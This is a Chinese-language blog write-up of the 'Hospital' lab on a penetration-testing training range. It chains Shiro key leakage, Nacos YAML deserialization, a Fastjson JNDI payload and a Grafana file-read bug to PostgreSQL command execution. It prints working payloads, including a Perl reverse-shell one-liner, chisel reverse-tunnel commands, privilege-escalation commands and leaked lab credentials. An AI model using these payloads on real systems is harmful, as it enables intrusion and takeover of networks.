内网渗透 -春秋云镜篇之Hospital

admin 2024年3月9日17:05:08评论10 views字数 5698阅读18分59秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦

原文由作者授权发表,首发在:先知社区

https://xz.aliyun.com/t/13463

外网打点

信息搜集

Fscan扫描一下

内网渗透 -春秋云镜篇之Hospital

发现jsessionid=xxx,明显的Shiro特征,同时发现有acatuator泄露。

漏洞探测

访问网站,弱口令直接登进行了,但是没啥东西

内网渗透 -春秋云镜篇之Hospital

搞搞Shiro漏洞,尝试工具一把梭,寻找下密钥

内网渗透 -春秋云镜篇之Hospital

没找到,呃,总不能是Shiro721吧,但确实此时登录过后,有对应的Cookie,满足爆破的条件了,抱着怀疑的态度进行了爆破。

内网渗透 -春秋云镜篇之Hospital

然后同时想起之前的actuator泄露,找了找RCE相关的,像env,refresh,gateway这些接口都没有,然后就到了我们的信息泄露环节了。

之前实战渗透的时候通杀过heapdump泄露,所以记忆犹新,这里用的是heapdump_tool.jar工具

java -jar heapdump_tool.jar "heapdump"

搜了搜关键词passowrdshiro,key这些,没有数据库账密也没有泄露Key,任何发现都没有

内网渗透 -春秋云镜篇之Hospital

内网渗透 -春秋云镜篇之Hospital

想着会不会是工具的问题,于是换了一个工具,改用JdumpSpirder,https://github.com/whwlsfb/JDumpSpider/releases

再次寻找成功发现ShiroKey

内网渗透 -春秋云镜篇之Hospital

得到密钥GAYysgMQhG7/CziJlVpR2g==

漏洞利用

接下来使用工具指定密钥梭哈一下。

内网渗透 -春秋云镜篇之Hospital

接下来尝试写入内存马

内网渗透 -春秋云镜篇之Hospital

执行命令

内网渗透 -春秋云镜篇之Hospital

有一些不方便,用冰蝎的反弹shell功能弹到vps上

提权

find / -user root -perm -4000 -print 2>/dev/null

内网渗透 -春秋云镜篇之Hospital

发现vim,直接猜测一手flag位置

vim /root/flag/flag01.txt

内网渗透 -春秋云镜篇之Hospital

内网探测

上线VIPER

内网渗透 -春秋云镜篇之Hospital

信息搜集

上传Fscan进行内网网段扫描

meterpreter > shell -c './fscan -h 172.30.12.5/24'

___ _
/ _ ___ ___ _ __ __ _ ___| | __
/ /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______ (__| | | (_| | (__| <
____/ |___/___|_| __,_|___|_|_
fscan version: 1.8.3
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.30.12.6 is alive
(icmp) Target 172.30.12.5 is alive
(icmp) Target 172.30.12.236 is alive
[*] Icmp alive hosts len is: 3
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.6:8848 open
172.30.12.236:8009 open
[*] alive ports len is: 9
start vulscan
[*] NetBios 172.30.12.6 WORKGROUPSERVER02
[*] NetInfo
[*]172.30.12.6
[->]Server02
[->]172.30.12.6
[*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=A60E466BB515111EA9813AD488333B5B
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=A60E466BB515111EA9813AD488333B5B code:200 len:2005 title:医疗管理后台
[*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file

代理搭建

VPS端

./chisel server -p 7000 -reverse

内网渗透 -春秋云镜篇之Hospital

靶机

./chisel client 119.3.215.198:7000 R:0.0.0.0:7001:socks

内网渗透 -春秋云镜篇之Hospital

攻击域用户一(nacos Yaml反序列化)

信息泄露

在Fscan扫描结果中发现

[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass

所以尝试一下用户登录绕过漏洞

内网渗透 -春秋云镜篇之Hospital

成功获取账密,再尝试写入用户test

内网渗透 -春秋云镜篇之Hospital

进行登录

内网渗透 -春秋云镜篇之Hospital

成功登录

内网渗透 -春秋云镜篇之Hospital

不过这些不足以实现RCE,后端也没什么东西,搜索相关漏洞发现两个,一个是内存马注入,一个是Yaml反序列化。

尝试内存马

尝试用工具写入内存马

内网渗透 -春秋云镜篇之Hospital

没写进去,那八成是Yaml反序列化了。

尝试Yaml反序列化攻击

工具利用

https://github.com/artsploit/yaml-payload/

下载之后打成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

内网渗透 -春秋云镜篇之Hospital

在Nacos发现dataiddb-config

内网渗透 -春秋云镜篇之Hospital

写入到里面,然后Jar的路径的话,我们这里需要上传到靶机,因为这个靶机不出网,我们只能让他访问内网上的,所以我们需要先讲jar包放到靶机,然后再在靶机上开启http服务

内网渗透 -春秋云镜篇之Hospital

这里成功收到回显,说明确实存在Yaml反序列化漏洞,但是我们需要改一下yaml-payload中的Java文件

内网渗透 -春秋云镜篇之Hospital

可以看到这里本来是弹计算器的,没啥作用,我们改为添加一个管理员用户的

内网渗透 -春秋云镜篇之Hospital

然后改完后再保存再打为jar包

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

同样再上传jar包到靶机再打一次

内网渗透 -春秋云镜篇之Hospital

此时就可以RDP连接了

内网渗透 -春秋云镜篇之Hospital

攻击域用户二(Fastjson)

信息搜集

Mimikatz抓下密码发现都是在工作组。

内网渗透 -春秋云镜篇之Hospital

漏洞探测

我们在Fscan中还发现另一个存在Web服务的

[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台

访问

内网渗透 -春秋云镜篇之Hospital

使用dirsearch扫一下目录,发现docs,examples这些

内网渗透 -春秋云镜篇之Hospital

访问docs看一下Tomcat版本

内网渗透 -春秋云镜篇之Hospital

这个版本的Tomcat存在着文件包含漏洞,如果有上传点就可以实现文件包含进而达到RCE目的(之前一个靶场的思路)。但这里题目描述中提到了fastjson,我们抓一下它的包,内容只写一个{,如果是Fastjson,不完整的时候就会出现Fastjson

内网渗透 -春秋云镜篇之Hospital

出现了Fastjson,说明确实是Fastjson,接下来用dnslog探测一下是否存在漏洞

{"qwq":{"@type":"java.net.Inet4Address","val":"4mmi9n.dnslog.cn"}}

内网渗透 -春秋云镜篇之Hospital

成功收到回显,说明存在Fastjson漏洞。

漏洞利用

接下来使用工具jndi_tool.jar部署恶意类(在靶机上部署,因为域成员可能不出网),工具链接https://github.com/wyzxxz/jndi_tool

内网渗透 -春秋云镜篇之Hospital

同时在靶机上监听12345端口,待会用于接收shell,然后按如下Payload发包

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.30.12.5:1099/Object",
"autoCommit":true
}
}

内网渗透 -春秋云镜篇之Hospital

成功收到shell,且是root权限

内网渗透 -春秋云镜篇之Hospital

攻击域用户三(Grafana+psql)

信息搜集

ifconfig发现多张网卡

内网渗透 -春秋云镜篇之Hospital

上传Fscan扫一下

内网渗透 -春秋云镜篇之Hospital

root@web03:/# ./fscan -h 172.30.54.179/24

___ _
/ _ ___ ___ _ __ __ _ ___| | __
/ /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______ (__| | | (_| | (__| <
____/ |___/___|_| __,_|___|_|_
fscan version: 1.8.3
start infoscan
(icmp) Target 172.30.54.179 is alive
(icmp) Target 172.30.54.12 is alive
[*] Icmp alive hosts len is: 2
172.30.54.179:8009 open
172.30.54.12:22 open
172.30.54.179:22 open
172.30.54.12:3000 open
172.30.54.12:5432 open
172.30.54.179:8080 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle http://172.30.54.179:8080 code:200 len:3964 title:医院后台管理平台
[*] WebTitle http://172.30.54.12:3000 code:302 len:29 title:None 跳转url: http://172.30.54.12:3000/login
[*] WebTitle http://172.30.54.12:3000/login code:200 len:27909 title:Grafana

发现另一个域用户,但是这个不同于之前的网段,因此我们需要搭建多层代理。

多层代理搭建

我们的第一层代理是VPS作为服务端,外网靶机作为客户端来搭建的,那么我们在搭建第二层的话,以外网靶机作为服务端,然后以域用户二作为客户端,此时就实现了多层代理

VPS->外网靶机->域用户2->域用户3

所以接下来直接在外网靶机上搭建服务端,指令如下

./chisel server -p 7001 --reverse

内网渗透 -春秋云镜篇之Hospital

再在域用户二上搭建客户端

./chisel client 172.30.12.5:7001 R:0.0.0.0:7000:socks

内网渗透 -春秋云镜篇之Hospital

此时就搭建好了

外网->119.3.215.198:7001(VPS)->172.30.12.5:7000(域用户二)->172.30.54.12(域用户三)

我们改下配置文件

内网渗透 -春秋云镜篇之Hospital

接下来尝试curl用户三

内网渗透 -春秋云镜篇之Hospital

成功,在WindowsProxifier挂上代理链即可

内网渗透 -春秋云镜篇之Hospital

尝试访问域用户三

内网渗透 -春秋云镜篇之Hospital

漏洞探测

登录框肯定尝试弱口令,以admin,admin成功登入

内网渗透 -春秋云镜篇之Hospital

漏洞利用

搜索相关漏洞发现CVE-2021-43798,使用工具直接提取敏感信息,工具链接https://github.com/A-D-Team/grafanaExp

./grafanaExp_linux_amd64 exp -u "xxx"

需要注意的是我这里是用域用户二执行的命令,用本机然后通过代理执行经常卡住。

内网渗透 -春秋云镜篇之Hospital

获取到PostgreSQL账密

postgres:Postgres@123

通过Proxifier全局代理,使用Navicat进行连接

数据库连接

内网渗透 -春秋云镜篇之Hospital

查询数据库版本

select version();

内网渗透 -春秋云镜篇之Hospital

得知数据库为8.1版本,接下来改下root用户密码

内网渗透 -春秋云镜篇之Hospital

搜索相关版本发现

内网渗透 -春秋云镜篇之Hospital

所以我们这里调用相关命令

内网渗透 -春秋云镜篇之Hospital

接下来借助命令执行实现反弹shell

反弹Shell

这里反弹到我们的域用户二上,因为他和域用户三是在同一网段下的,我们先监听下它的某个端口。

然后在Navicat上执行指令如下

select system('perl -e 'use Socket;$i="172.30.54.179";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'');

内网渗透 -春秋云镜篇之Hospital

成功反弹shell,通过python3 -c 'import pty;pty.spawn("/bin/bash")'获取交互式shell

提权

但是目前只是普通权限,需要进行提权,通过执行sudo -l发现psql

内网渗透 -春秋云镜篇之Hospital

参考https://gtfobins.github.io/gtfobins/psql/

内网渗透 -春秋云镜篇之Hospital

所以接下来登入psql

sudo /usr/local/postgresql/bin/psql

内网渗透 -春秋云镜篇之Hospital

root=# ?
!/bin/bash
#需要输入的就是? !/bin/bash

而后即可获取root权限,在root/flag目录下得到flag

内网渗透 -春秋云镜篇之Hospital

原文始发于微信公众号(亿人安全):内网渗透 -春秋云镜篇之Hospital

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月9日17:05:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透 -春秋云镜篇之Hospitalhttp://cn-sec.com/archives/2558936.html

发表评论

匿名网友 填写信息